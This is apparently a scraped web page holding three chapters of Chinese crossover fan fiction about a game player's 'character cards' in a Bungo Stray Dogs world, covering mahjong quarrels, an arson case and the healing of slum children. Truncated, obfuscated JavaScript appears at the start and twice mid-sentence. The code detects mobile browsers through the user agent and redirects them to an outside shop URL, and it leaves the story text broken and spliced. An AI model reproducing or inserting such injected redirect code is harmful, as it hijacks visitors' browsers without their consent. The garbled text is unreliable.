0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565086|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,反正都是要让我用掉的。” “我只是在想,这里的物价如此高,你们换取的药物够吗?” 他的装备都是可再生的,金钱宝石之类也是世界意识送的,对于西园寺鸣月而言,确实没什么好心疼的。 “如果相信我的话,你愿意让我去看看那个孩子吗?”西园寺鸣月伸出食指,在少年棕黑的眼瞳中,凝聚起一点稀薄的光,“我应该能够帮上忙。” …… 神隐决定让西园寺这张角色卡成为一个拥有咒力的异能力者。 不知道世界融合后会不会出现和角色卡一样的双学位幸运儿。 在野比二郎的带领下,西园寺鸣月来到一栋用石块搭建的屋舍前。 腥臭的气味已经彻底取代了此处所有空气,就连碎落在地上的石块也铺上了一层凝固的污垢。 这里发生过很多次惨烈的战斗。 而战斗是必须分出胜负的一个东西。 有人会赢,有人会死。 野比二郎率先跑进屋子里,大声说了些什么,很快,屋门再次被打开,露出少年乱糟糟的头,“西园寺先生,快进来看看他们吧!” 金发青年弯腰,穿过于他而言过矮的门。 黑漆漆的室内或站或坐着十余个孩子,他们在青年进门的时候就已经退到了最角落去,但房子就那么大,离得再远也远不到哪去。 名为西园寺鸣月的先生直起身,极具压迫感的身高随着光影渗入,投落出足够占据整个室内的影子。 他实在太高了。 胆大的孩子好奇地望着金发青年,恰好,冰蓝色的眼睛正好路过她的身上,像是打量,又像是与她同样的好奇。 - 神隐超经意地环顾了一番屋子里的人。 [哇塞,好多小矮人。] [我要是从一米七直接拔高到一米九,我也会这样觉得。]搭档声音幽幽,他给自己加了个三百六十度环绕音效,一直在神隐脑子里转着圈讲话。 [是192.94cm。] 神隐纠正。 一米九二的空气真清新啊。 - 躺在床上的孩子年龄大致在八岁上下,比起另外几名伤员,他的伤势最严重,即使同伴及时为他处理过伤口,流出的血液也将床垫全部染红了。 西园寺鸣月的目光在男孩渐变发色上停顿一瞬。 [我也想要这样时尚的发色。] 他羡慕道。 神隐的角色卡其实也有过类似造型,是在某个山村地图,他在里面的身份是占据了村民身体的鬼怪,渐变发色不明显,只有尾部一点极限接近黑的暗红色。 由于色差太小,很多玩家甚至都没有发现这个细节。 男孩身上的伤几乎都是子弹与刀刃造成的,经历过一场恶斗的他定位是这群孩子中的保护者。 这样重的伤,未来是怎么活下来的呢? 西园寺鸣月垂眸,发动了反转术式。 等到伤势治愈完全,青年揉揉眉头,面上泄出一点疲惫。 幻视伏黑隐在高专的日常了啊。 “您没事吧?” 离得最近的小孩看到了完整的治疗过程,也第一时间注意到了西园寺鸣月的疲惫。 西园寺鸣月摆摆手,拒绝了搀扶:“啊,没事。” 这是伏黑隐的条件反射,之前的角色卡能力不相通,他也是现在才发现能力相似容易串戏。 看来以后设定能力要注意一点了。 西园寺鸣月又走到其余受伤的几个孩子面前,将他们的伤势治好。 他们都听话地没有抗拒。 治疗结束的很快,西园寺鸣月准备离开时,野比二郎忽然叫住他。 “那栋房子……是打伤了我们同伴的人占据的房子,我们以为是您,就,就……做了那些事,真的很抱歉!”棕黄发少年朝他深深鞠了一躬,“谢谢您的帮助!谢谢!” “谢谢您。”被他带在身后的小孩子也学着鞠躬。 “于我而言,这不是什么大事情。”西园寺鸣月笑了笑,因为家族人丁凋零,他对孩子有着无限的包容心,“毕竟在这里,活着才是最重要的。” 这就是最高值亲和力的作用吗? 他想着,接着话尾继续说道:“对了,你们知道哪里还有空房子吗?或者无主的房子也可以,我打算在擂钵街住上一两天。” 20.第 20 章 最后,西园寺鸣月回到了一开始的小破屋。 野比二郎信誓旦旦地承诺会帮他将门窗修好,西园寺鸣月没拒绝。 趁几人帮忙修补门窗,西园寺鸣月看了看天色,觉得时间还早,问他们有没有想吃的东西。 各自拿着工具的孩子嘀嘀咕咕交流了好长一段时间,最后,野比二郎说:“甜面包,可以吗?” 甜面包? 一提到这个,西园寺鸣月就不由自主回想到了差点把自己噎死的面包。 ——不,他不承认那叫面包。 神隐让搭档在商城挑点甜度不高的面包,自己则去擂钵街转了一圈。 跟着神隐的视野,搭档将擂钵街的布局扫描成地图,等到地图完全拓印出来,旁观着中原中也打群架的金发青年思考:[要不先在这里住着吧。] [看中原中也打架还挺有意思的。] 擂钵街的废墟很多,石块也很多。 观赏着在空中乱飘的石块,神隐有一种在失重的星球散步的感觉。 “喂,那边那个金头发的,不要随便坐在飞起来的石头上面啊!” “不好意思,我马上下来。” “谁让你跳下来啊!!!” …… 在游戏里,所有玩家的数值为零,但在PV和角色资料里,角色们也拥有固定的属性与适配的身份。 『云霄』的固定属性最高值就是他的亲和力。 那是一个只要愿意,就会有人不断亲近他的高数值,连带着偶尔的胡言乱语,也会得到其余人认真的对待。 天地草木在风起时相伴,他和鸟兽虫鱼是与生俱来的亲近。 “那么高的石头砸下来,很容易死的知道吗?” 中原中也在很严肃的告诫他。 西园寺鸣月也很严肃的点了点头:“下次一定不会了。” 十岁的孩子教育二十多岁的青年,这是个很魔幻的场景。 两个当事人都不觉得这有什么不对。 为表歉意,西园寺鸣月拿出一大袋面包,塞进了中原中也的怀里。 “这是打扰到你打架的歉礼。” “也没有打扰到我,只是你的这个行为……等等,你从哪里变出来的面包?” 西园寺鸣月笑笑:“这是我的异能力。” “这样啊。”中原中也点头,相信了他的说辞,“我不需要这些,你拿回去……人呢?” 中原中也飘在空中,迅速在附近巡视了一遍,而石块堆积的场地里除了他,哪还有其他人的踪迹。 “人呢?!!” 这个年龄的孩子果然不管怎么逗都非常的有意思啊。 在中原中也低头的瞬间回收角色卡的神隐想。 …… ………… 尾崎红叶来到京都所做的第一件事,就是和萩原研二学习打麻将。 但她的求学之路并不顺利。 “我在你身上闻到了罪犯的气息。” 这是绫辻行人见到尾崎红叶时说的第一句话。 尾崎红叶听得汗毛竖起,差点以为自己来到光明后的第一个工作马上就要结束了。 “不用管。” 这几天迷上了玩手机的藤原千学坐在尾崎红叶旁边,语调平平:“他看我也像罪犯。” “我的直觉从来不会出错。”绫辻行人交叠着双腿,推出手里的两张六万,吃掉了萩原研二打出的七万,“吃。” “你思考的东西就是错的。” 藤原千学按灭手机。 “她在心虚不是吗?”绫辻行人说。 “正常人被冤枉也会有这种表现。”藤原千学将尾崎红叶摸到的牌拍在桌上。 “立直。” 一枚千点棒被横放在打出的牌旁,表示尾崎红叶进入听牌状态,意味着从此她不能换牌,只能摸打,但她的胡牌将带来额外的奖赏。 绫辻行人:“所以你不是正常人?” 藤原千学:“我是异能力者。” 江户川乱步把手牌推倒,“自摸。断幺九,宝牌2,40符3番,庄家满贯。” 他的牌面整洁,全部由中张牌组成,恰好避开了尾崎红叶立直后可能听的牌型。 “异能力者……”绫辻行人重复着这个词,表情带着嘲弄,“很好的借口。” 萩原研二露出有些无奈的笑容,试图打圆场:“嘛嘛,打麻将就专心打麻将嘛,其他东西都先放一放——啊,这张红中,碰!” 他碰走了尾崎红叶打出的牌,稍微加快了牌局的节奏。 不出所料的,没有人愿意听取他的建议。 “觉得自己比别人聪明的蠢货就是这样。” “不必如此妄自菲薄,你也会有机灵的时候。” “呵。” ……又开始了。 陪玩的萩原研二擦擦冷汗,和对面的尾崎红叶对视一眼,在彼此目光中看到了如出一辙的无奈。 自从绫辻行人在几天前对藤原千学喊出那声“绷带怪人”之后,他们每次见面都必然会吵上一架。 吵架的理由千奇百怪。 连零食的包装袋,还有人偶的新发饰也能成为一个吵架的理由。 再过一会儿……萩原研二在内心默数,数到十四的时候,江户川乱步重重拍了一下桌子。 “安静安静安静!”江户川乱步连说了三声安静,不管是表情还是语气,都明晃晃表示着少年的不爽,“还能不能好好玩了!” 比昨天提前了两秒钟。 尾崎红叶也在算着时间。 没办法,仙人打架凡人遭殃,上次间贯一尝试着劝架,最后被江户川乱步和绫辻行人说的面红耳赤,至今都不敢走进这个房间。 尾崎红叶自觉自己还没有劝架的本事。 “他先骂我的!” 藤原千学不服气。 “我说的是事实。”绫辻行人双手环胸,“你那双眼睛,是杀过人的眼睛。” “怎么,你还有个异能力是天眼吗?” “这只是最基础的推理而已。” “真聪明啊,没有我和乱步,你现在还在苦苦探求着西村失踪的真相吧。” “你们还玩不玩了!” 眼见江户川乱步真的要生气了,藤原千学最后冷声说了句“我不和恋物癖计较”,止住了话题。 绫辻行人也冷哼一声,“不要让我找到你犯罪的证据,绷带怪人。” 门外,负责护卫加监管的警卫听见里面的争吵,面面相觑。 警卫甲:这样真的能找到那个纵火犯吗? 警卫乙:天才总是与众不同的。 警卫丙:嗯?对,我们晚上吃拉面。 …… 在几天前西村侦探失踪的事件里,负责接待他们的高官儿子死亡。 藤原千学总觉得那个高官儿子的长相有些眼熟,他没和这个人见过面,能远远一看就产生熟悉的感觉…… 江户川乱步想起了什么:“千学?” 刚从停尸房中出来的藤原千学点头,“是兄弟。” 虽然五官已经扭曲错位了,但还是能够看出来,和之前瞥见过的一位帽子侦探有些相似。 江户川乱步拉着他找到暂时成为牌友的萩原研二。 “帽子侦探呢?” 萩原研二让同事找了找,发现他在半个小时前就已经离开公馆了。 藤原千学突然问:“你们能把店长小姐带过来吗?” “店长……小姐?”萩原研二一时间没反应过来是谁,在乱步的提醒下才想起来,“她的话,前段时间逃狱了,现在还没找到呢。” 负责监管的警卫也没料到那位平井女士是异能力者。 在这个混乱又自顾不暇的时期,横滨的监狱是关不住异能者的。 “她和这个案件有联系吗?” “嗯,七天。” 藤原千学说出一个准确的数字。 “七天之内我们可以找到纵火案的凶手?” 藤原千学看他一眼,少见地开口回应:“七天后会有人去死。” 萩原研二:! 警卫在第一时间将公馆内的所有人转移,分组保护着,尾崎红叶与间贯一出现的时间很巧,恰好在他们离开公馆的两个小时前,被藤原千学带回来。 福泽谕吉一直以为,他们是异能特务科派来保护绫辻行人的人。 而藤原千学没有解释过。 “我会死吗?” 现在就是藤原千学所说的第七天,绫辻行人走到藤原千学所在的窗台处。 藤原千学瞥他一眼:“你长命千岁。” “所以为什么不告诉我那位平井女士的事情?” “你不会去问吗?” “我现在正在问。” “……” 男孩双手撑住窗台,绷带下的眼睛无语地看着他,“别再骚扰我了。” “我只是求知欲太过强烈而已。” 绫辻行人硬要在窗台占据一席之位,跟着藤原千学的视线去看。 车水马龙中什么特殊的都没有。 “你居然在期待车祸。”藤原千学将头靠在臂弯,没感情地“哇”了一声,“真可怕。” “所以你在看什么?”绫辻行人问。 “在看只有聪明人才可以看见的世界。” 异世界相关的话题总像是在开玩笑,绫辻行人自然不会相信。 对他一直不耐烦的藤原千学也从来不说好话。 但这次确实是真的。 看着逐渐接近这里的长裙女人和帽子青年,这段时间总能在各个角落看到他们身影的藤原千学想。 不被看见的人行动总是肆无忌惮的。 - 搭档:[话说他们看人会有重影吗?] 神隐:[有吧,他们又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574923|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我们。] [我扫扫看。] 搭档跃跃欲试,他研究出了一个能深度扫描角色精神和内心所想的新功能。 [嗯……平井默子,异能力『心理学』,受人蛊惑,目前正在尝试杀死矮个子侦探——矮个子是在说藤原千学,哇塞,长裙子想杀掉你诶。] 听到这话的神隐起了兴趣。 [能查出来是谁蛊惑的吗?] 世界主动回答:[费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基。] [嗯?] [哇!] 好,好长的名字。 这是一个新人物,一眼望不到底的资料看起来能够跟大地比一比长度。 但很明显,现在不是惊叹资料厚度和名字长度的时候,看着下方燃起的熊熊大火,藤原千学转身就走。 “我知道了。” 快步跟在藤原千学身后的绫辻行人说,“我知道纵火案的凶手了。” 说这句话的时候,他正与不可见的平井女士交错而过。 热浪滚着明火袭来,虽然清楚知道现在的火烧不到他,但藤原千学还是侧身躲了过去。 “是谁?”他顺嘴问。 “一个只有聪明人才能知道的名字。” 这回轮到绫辻行人卖关子了。 “……” 他就不该说这话。 藤原千学默默加快步伐。 他们是最后走出楼房的两个人,刚踏过门槛,这栋西式楼房便轰然燃起了火。 明亮的赤红,是如那场烧亮半边天的火焰一样的颜色。 连这个都能复刻吗…… 藤原千学随手带上门。 在藤原千学走到江户川乱步身边的时候,绫辻行人笃定道:“你认识那个纵火犯。” 藤原千学:“哦。” “……” 没得到想要的结果,绫辻行人不爽地眯了眯眼,他想再说些什么,藤原千学已经去到福泽谕吉身后,谁也不理了。 江户川乱步推推眼镜,替他解释:“千学身上的伤就是因为那个人。” 绫辻行人不置可否。 “我觉得他们早就认识。” “不可能。” 少年否定的态度坚决。 绫辻行人双手环胸:“这就是为什么法官不能审判亲属的原因了。” 没有人愿意怀疑自己的朋友。 咔嚓。 藤原千学对着燃火的建筑拍了张照片。 他点开照片,让福泽谕吉递给警官。 照片上,建筑二楼出现了一个他们看不见的人影,戴着帽子。 “他就是纵火案的凶手。” 有人从高处落地,鞋跟踩踏的声音像石块相敲。 青蓝色的长裙连上火焰,随着步伐不断落下灰烬,此前见过一面的店长小姐走到他面前,蹲下,“小侦探,你能看见我们?” 她仍然在另一个世界的街道上,而唯一能够看到她的藤原千学没有选择回应。 “绫辻行人。” 搭档提醒着他身后有人接近,状态是【深度催眠】。 “你相信他会死吗?” 黝黑眼瞳映出刀刃的寒光,藤原千学如此说。 “我不相信。” “砰——!!” 一声巨响轰然响彻在众人耳中,声音太大了,等到它终于停歇时,所有人的耳朵里还流窜着尖锐的耳鸣。 绫辻行人的话语只有藤原千学“听”见了。 火焰如雨般坠向地面,淋不湿,烧不黑,无声无息散开与空气一同升腾,只留下灼热的温度。 血液如同流动的滑带,一路滚到绫辻行人的短靴下,他的瞳孔仍旧一瞬不眨地盯着藤原千学。 尸体的位置非常巧合地,在绫辻行人的余光中占据一席之地。 一把匕首插进青年的头颅、连着帽子挤进头骨,仿佛从天而降的神罚。 用生命浇灌的火焰炽热地继续燃烧着。 扭曲的空气荡漾在男孩周遭,他摘下眼镜——那是一双属于恶魔的眼睛。 绷带下苍白的唇角抿起,像是在笑。 “凶手『死于非命』了。” 藤原千学说道。 语调如旧,古井深潭的静。 或许他该开口说些什么,将这个只有自己能够拆穿的谎言撕碎。 绫辻行人呼吸着,满天寒气封住了他的口,冰冻了灵魂,让他无法在真相的刀尖下奔跑。 张不开,说不出。 藤原千学在他的眼前杀死了一个人。 没有留下任何证据。 这是他距离真实的藤原千学最近的一次,他第一次在那双眼睛里看到独属于自己的感情。 不以为然的漠然。 傲慢入骨的轻视。 他在嘲笑——侦探啊,你找得到证据吗? 而绫辻行人找不到。 21.第 21 章 经历长达半个月的时间,此次纵火事件终于结案了。 松田阵平总觉得哪里有什么不对,但在场智商最高的几位都这样说了,可能是他哪一点没有想通吧。 而在回横滨的路上,从前天到现在,都没怎么开口说过话的绫辻行人维持着恐怖的低气压,自上车后就径直去了自己的独立包间,一直没有出来过。 萩原研二忧虑地猜测,是不是和另外两名侦探吵架了? 他们之前吵的架还少吗…… 松田阵平嘴角抽搐,他记得自己这位发小,好像是每场吵架都在场的啊。 “那些顶多只能算是玩伴间的打闹吧。” 萩原研二有着他自己的理解。 “才不是!千学的玩伴只有乱步一个人!” 路过的乱步侦探拒绝了萩原研二送来的朋友,这段时间和同伴相处时间急剧减少的少年非常非常不爽:“听到了吗?千学只有乱步一个朋友!” 他又重重强调了一遍,直到萩原研二连连点头才罢休。 …… 电车启动了。 藤原千学靠在江户川乱步身上玩着手机。 对,这起案件破了有奖金。 作为奖励,藤原千学得到了市面上最新的电脑和手机。 他注册了一个社交账号。 里面只有两个好友。 其中一个是江户川乱步,另一个没有名字,注册之后就自动出现,一直静静待在软件的角落里。 那位好友在一小时前发了条消息过来,藤原千学准备晚点再点开看,他现在正和乱步头靠着头,在非常认真地玩消消乐。 他们一人划一下,打算就这样玩到下车。 尾崎红叶坐在藤原千学后面,知道要回到横滨后一直有些坐立难安,她握住爱人的手,忍不住回想到被港口黑手党追捕的那几天。 那位西园寺先生,能将数十名异能者瞬间截杀的西园寺先生,在离开前一天其实就发了信息过来,让他们无需担心回到横滨之后的事情。 怎么可能不担心…… 首领要是知道了消息,必然是要将她带回去的。 一直到下了电车,跟着来到福泽谕吉的房屋前,尾崎红叶才稍稍安心一点。 那么长的时间都没人来,应该大概可能也许是没事的。 而现在, 有一个更严峻的问题摆在他们面前。 一直以为他们只是普通警卫的福泽谕吉对着他们说:“你们不回去吗?” 回去? 回哪儿去?? 尾崎红叶的心脏砰砰砰跳着,擂鼓似地用力打击着她忐忑的灵魂。 间贯一在短暂愣神后迅速握了握爱人的手,当了多年文职人员的大脑飞速运转着,总算找到一个说辞。 “我们是藤原侦探的助手。” 侦探嘛。 有两个助手是很正常的。 即使年龄很小,但是,但是从小培养(侦探)的助手更好用啊! 藤原千学认可地点点头。 “他们是我的助手。” 他见福泽谕吉盯着尾崎红叶的伞剑露出沉思表情,突然说道:“哪天你想建立黑手党,他们也可以当打手,他们打架很厉害。” 等等——这种事情不要啊!!! 历经千辛万苦才离开黑手党的两个打手露出惊恐脸。 福泽谕吉也猛然将注视投落到藤原千学的身上。 现年十岁的男孩表情无辜,像是不知道这句话在几个人心里激起了多大的惊涛骇浪: “你不想成为首领吗?到时候我和乱步当你的干部,我会很多东西,绝对可以辅佐你把整个世——好痛!“ 藤原千学捂住头,“我不当你的干部了!” 福泽谕吉收起拳头,深呼吸,再深呼吸,胸脯起伏了好几次,才勉强维持住平静开口道:“我没想过成为黑手党。” “但是——” “没有但是!” 第一次被吼的藤原千学:“讨厌的大人!” 最后,在伟大的藤原侦探的胡闹下,福泽谕吉勉强接受了藤原侦探的两位助手。 他们租住了福泽谕吉附近的一栋房屋,生活慢慢平静下来。 一直没有受到追杀,也没有见到自己通缉的尾崎红叶在某天踏出屋门,来到了她从前匆匆望过一眼的港口。 海浪随着风微波起伏,将阳光分裂成无数跳跃的光点,有些晃眼睛,海风是咸的,它从横滨港的海面上吹来,掠过脸颊,像是神明似有若无的抚摸。 码头边停靠着几艘白色的客船,漆色在经年累月的海风侵蚀下已经有些暗淡,集装箱的摆放整齐划一或杂乱零散,如果从高空俯瞰,或许会误认为是未拼完的积木。 这里离港口黑手党很近。 近到中高层的办公室就能一览无余。 尾崎红叶没有待太久,离开时,她与一名名港口黑手党的成员擦肩而过。 没有被认出来。 就像是有一块橡皮擦,在抹除着尾崎红叶在港-黑存在过的痕迹,而这正合她意。 归去途中,直至再不见任何一个熟悉人影,穿着和服的少女方才松开紧握住伞柄的手。 来找藤原千学时,他正坐在院子里看书,从京都回到东京后,藤原千学就一直没有再出过门,像是要把那半个月的休息时间全部补回来。 看见尾崎红叶来,院子里的吊椅晃了晃,坐在上面的人抬起头,阳光明媚,男孩眼睛藏在镜片后,显出一丝天气带来的轻和。 “你去了港口。” 肯定句。 尾崎红叶点头,她坐在矮凳上将衣褶抚平,“一直没有动静,妾身就想着去那里看看。” 她忍不住赞叹一句:“西园寺先生真的很厉害啊。” 说出这句话的时候,藤原千学已经低下头没再看她了,也自然没有搭理尾崎红叶后面的话。 宁静的院子里很快只剩下书籍翻页的声音,尾崎红叶也拿起了一本书,静静翻阅着。 她如今的工作,就是在福泽谕吉与江户川乱步外出的时候,帮忙看顾藤原千学。 还有防止他乱走,福泽谕吉着重强调了这个要求。 昨天未读完的书翻至最后一页,尾崎红叶合上书,准备再找一本来看,和藤原千学相处的这段时间里,她一直在看书,多是小说。 尾崎红叶喜欢里面书写的不同世界与人生。 堆叠在桌子上的书又少了一本,认真阅读着手中书籍的藤原千学没有反应,他从不在意这些东西。 反正都是会还回来的,而我也不需要看。 在她第一次借阅书籍时藤原千学就这样说,后面尾崎红叶再借书时就没有拘谨过了。 事实上还有后一句话——毕竟它毫无价值。 尾崎红叶自动将它忽略了。 要是全听进去,没有人能够在藤原千学身边待上一个月。 而自回到横滨后,就一直想方设法想把藤原千学送进异能特务科,试图让他成为自己“邻居”的绫辻行人——他属于另一种。 藤原千学不爱动,也不爱说话,偶有的活泼也只在监护人与同伴面前展露,平日里尾崎红叶最常见到的藤原千学就如今日一样。 他很安静。 像是一棵树。 树根深扎入地底上百米,没有风能够将他吹起。 说到风,今天的风确实有些大了,分明是晴空万里的天,忽起的风却仿佛是在雪山上呼啸着。 有些冷。 尾崎红叶记得那夜的风也是这样大。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583866|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大到树木弯下了腰,繁多的树叶卷在空中,挡住她看向天空的视野。 铮—— 急射而来的匕首抵住尾崎红叶刺来的剑。 被风刮落的树叶遮光蔽日,盘旋在金色夜叉附近,突兀现在空中的身影将藤原千学抱起。 见她的异能力轻而易举突破了树叶的屏障,举剑朝自己奔来,身影轻笑一声,带着人向某个方向跑去。 腾起的斗篷落下,闪着冷光的钉子将尾崎红叶手中电话钉在地面。 刚刚点开通话界面、未来得及拨通的电话闪烁几下,碎裂开的屏幕瞬间黯了下去。 现在的情况也来不及留下纸条告知,尾崎红叶抬剑在地面留下一道划痕,便飞快带着金色夜叉朝身影离去的方向追去。 整个人都被宽大斗篷笼罩住的身影速度很快,时不时在远处停顿一下,像是在溜着人玩,直到临近擂钵街时才停下。 一把有些眼熟的剑抵住金色夜叉的攻击,身影摘下斗篷转身,朝尾崎红叶笑了笑。 是西园寺鸣月。 …… “我有一些事情想拜托千学,但暂时不能出现在太多人眼中,所以就用了这种方式,是不是吓到你了?” “没有。”看着走在金发青年身边,时不时要皱一下眉头的藤原千学,尾崎红叶握着新手机摇了摇头,“只是有些惊讶。” 她想起了因为年龄问题而被藤原千学嫌弃、至今没有与其对过话的间贯一。 而西园寺鸣月看起来要比间贯一大上两三岁。 “因为之前收留过千学一段时间,所以面对我的接近才没有抗拒。”西园寺鸣月解释道,“不过比起一直和一个成年人共处一室,千学更需要的还是同伴,我们没有相处多长时间就分开了。” 他如今的样子与半个月前截然不同。 如果说那场雨夜中的青年是极寒之地冻结着太阳的冰,那么现在的西园寺鸣月,更像是从冰河上升起的晨曦,眉梢眼角都透着入骨的暖意。 “对吧,千学?”他问。 藤原千学撩起眼皮看了西园寺鸣月一眼,没说话,尾崎红叶看见了男孩填满眼睛的嫌弃。 但对于很少出现明显情绪的人来说,这已经足够证明他们之间的亲近。 尾崎红叶沉默下去,没再开口。 被冷暴力的西园寺鸣月也不介意,他带着人穿过杂乱的屋舍,来到一栋打算干净的房子前。 它的门窗很新,但拼接方式略显粗糙,甚至比不过尾崎红叶修补的大门。 “我最近在擂钵街认识了一些朋友。” 从储物柜里拿出一套茶具,西园寺鸣月给尾崎红叶倒了一杯茶,“这两天我需要离开擂钵街,去处理一些事情,想拜托你们帮我照看一下他们。” 其实重点是想让尾崎红叶帮忙照看一下,防止别人把他送过去的物资抢走……打算这两天去港口黑手党逛逛的西园寺鸣月低咳两声。 最主要的还有,越来越多奇人异士发现世界缝隙了。 就在一个小时前,晚上闲来无事逛着黑市悬赏,打算看看自己的悬赏被诅咒师加码到多少了的伏黑隐——看到了藤原千学的悬赏。 悬赏金额不多,资料也只有寥寥几句话,在成千上万个悬赏单中毫不起眼。 而在伏黑隐注意到这个悬赏的时候,上面正显示着已被接取。 虽说角色卡不会死,但也真的很吓人啊! 福泽谕吉这次接到的案件是搭档特意安排的,最少能拖上三天时间,而藤原千学,他打算这两天都和『骑士』一起了。 这样的话,杀手如果真的找到他了,还得先潜入港口黑手党的大楼才可以。 至于后面打架的损失? 首领都要疯了,还在意这点钱干什么。 22.第 22 章 异能力要比术式好编很多,想个合适的名字,把技能改得合理一点就可以了。 西园寺鸣月的异能力就是这样改的。 - 『异能力——不朽誓约』: 在一定范围内展开绝对保护领域,领域内的成员免疫一切伤害。 这算是将『骑士』的攻击全部转变为防御了,绝对反弹于这个世界而言,即使拥有『骑士』本身死亡/受伤技能无效的缺点,也还是太Bug了。 只是在藤原千学要被帽子侦探杀死的时候用过一次技能,那次就差点把好不容易前进一点的修复进度弄没,神隐还蛮庆幸『双面鬼』技能没有攻击性的。 至少不需要大改。 同样也不用大改技能的藤原千学坐在吊床上,无聊地看着西园寺鸣月与尾崎红叶交谈。 尾崎红叶在感叹西园寺鸣月的气质变化实在太大,她现在都有点怀疑自己对那天雨夜的记忆了。 ”尾崎小姐记忆里的西园寺同样是西园寺鸣月。”金发青年耸耸肩,倒没觉得这有什么,他说,“战斗和生活总该分开来算的。” 那也划分的太开了…… 完全像是两个性格迥异的双胞胎。 还有那能冻死人的氛围到底是怎么做到收放自如的? 藤原千学望着尾崎红叶的微表情。 他总算是体会到多开的乐趣了。 没办法,那天确实是意料之外的行动,行事作风完全按着最简略的方式去了。 而最简略的做法——当然是一键战斗挂机了! 这就导致当时的西园寺鸣月……不像是个人。 虽然天差地别的气势让尾崎红叶有些惊讶,但还在合理的解释范围内,听完解释,她也了然地点点头,“妾身和间君会帮忙的。” 间贯一最近找到了一个邮递员的工作,后两天刚好有假期。 金发青年面上的笑更加温和了,“我带你去看看他们吧。” 他说着,招呼藤原千学从吊床上下来。 …… “其实也不需要做什么,他们不怎么离开那片区域,在特定时间过去看一眼就好了。” 有食物充饥的日子要比从前好过很多,只不过他们节省习惯了,只在第一次尝到面包时没忍住多吃了些,差点吃撑肚子,后面都是一份几个人分着吃了。 作为第一个敢绑架自己的“组织”,西园寺鸣月对他们的关注要大过其他人,换言之就是——好特殊,好大胆,你们成功吸引了我的注意。 藤原千学厌恶成年人,讨厌同龄人,不喜欢比他蠢的人也鄙夷耍机灵的人。 嗯,他厌人。 不过面对一群和他差不多大小的家伙,藤原千学显然要更活泼一点。 在西园寺鸣月带尾崎红叶去混脸熟的时候,他以这个视角重新环顾了一遍这里。 西园寺鸣月之前实在看不下去这里的环境,把这片区域清扫了一遍,并赶走了除野比二郎他们之外的人,现在,这里也算是一个小型基地了。 不算安全,但总归比从前好一些。 藤原千学的视角能够看到更多东西,更荒芜的废墟,清理过的空地,还有不易发现的血迹。 嗯……看了一眼围在西园寺鸣月身边、有意让他不去注意石屋的人群。 藤原千学抬脚踏进屋子里。 里面人不多,三三两两,像草原的花一样零散。 走进来的黑发男孩身形瘦小,和这里的人没什么差别。 他穿着干净整洁的服饰,深色披风随意地搭在肩上,披风下摆垂落至小腿处,随着主人的步伐轻轻晃动。 突如其来者用一种极度令人不适的目光打量着他们,像是要将注视过的所有人层层剖开,取出皮肉后全部的血液与骨头。 原本坐在地上的几个人应激般站起来,向这个突然闯入的家伙举起武器。 西园寺鸣月给他们带来的不只有食物。 他们知道谁在外面,屋子隔音不强,房门也虚掩着,青年一如往常温和的话语永远会给人带来极大的安全感,西园寺鸣月说过,他所在的地方不会有危险。 而他确实做到了。 于是几个人只是举起武器警惕着,并没有像平常一样冲上去。 一件好事,这个眼睛让人不舒服的怪人真的只是在打量他们,简单地一人看了一眼就收回了视线。 一件坏事,他喊出了他们暂时不想见到的、西园寺先生的名字。 “西园寺鸣月。” 指名道姓,毫不知礼。 外面响起一声应答,很快,金发青年弯腰从外面进来,“怎么了?” 戴着眼镜的怪人伸出手,指向试图躲进桌子下的红发男孩,“右臂,大腿骨折。” 一身黑尝试缩进阴影里的灰发男孩,“小腿刺伤,右耳失聪,左手食指断了。” “腹部刀伤,左肩中枪。” “后背刀伤……” “小腿……” 随着男孩吐出的字句,屋子里霎时陷入了死一般的寂静,炎热天还戴着手套的手往哪一指,被指到的人都会下意识抖一下。 “从四层楼被丢下来,全身骨折,脏器破裂。” 这是最后一个人。 语毕,藤原千学拿起随手的水杯喝了一口,继续说道:“他们不想麻烦你,所以打算自己去死了。” 被无情指出伤势的孩子们:“…………” 跟着西园寺鸣月过来的孩子们:“…………” 走到最后,只来得及听到一句话的尾崎红叶:“…………”这、这就是【超推理】吗? ……原来藤原侦探平时对他们爱答不理的态度已经十分温柔了。 西园寺鸣月的眼睛睁开又眯起,看着里面不积极治疗的伤员,他啊了一声,说:“没关系。” 耐心地将所有人治好,他才伤心地叹息道: “只是觉得这太麻烦,不愿意过多打扰,而不是觉得西园寺先生是个别有居心的坏人,对吗?” 说完,金发青年精致的面目又失落下去。 “可是不管是哪种可能性,都十分令人伤心啊,居然被想要守护的孩子抛弃了。” “不是的!” 几人里伤势最重的男孩说道,他的表情看起来很慌乱,“因为您每次都很疲惫,所以我们才不想麻烦您的,不是……不是想要……”他结巴了好几次,都说不出后面的话。 抛弃,于他们来说是个很难说出口的词汇。 金发青年听着他的支支吾吾,维持着低落的神情说:“西园寺先生现在很伤心。” 男孩的脸本就苍白如纸,听到这话,又硬生生白了一个度。 “……对、对不” “如果有人能够现在给他一个拥抱,他的心情说不定就会变好了。” 